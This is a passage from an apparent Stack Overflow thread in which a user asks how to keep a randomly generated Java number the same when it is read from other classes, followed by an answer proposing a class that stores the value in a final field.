}
And Class 2
public class SecondClass {
static int generatedNumber = Random.number;
public static void main(String[] args) {
System.out.println(generatedNumber);
}
}
Every time I try to access the generatedNumber variable of Class 2 from a third Class, the number I get is different and not the one received in Class 2.
My question is how I can make the number generated in Class 2 persist to be able to call it from other Classes and that it is always the same number generated in Class 2.
A: You asked me to show you:
public class FixRandom {
// Holds the fixed random value.
private final int fixedValue;
// Upper bound for the RNG.
private static final int BOUND = 10;
// Constructor.
public FixRandom() {
// Set the fixed random value.
Random rand = new Random();
fixedValue = rand.nextInt(BOUND);
}
// Method to access the fixed random value.
public int getFixRandom() {
return fixedValue;
}
}
When you need to retrieve the number, use the getFixRandom() method.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/65938351",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.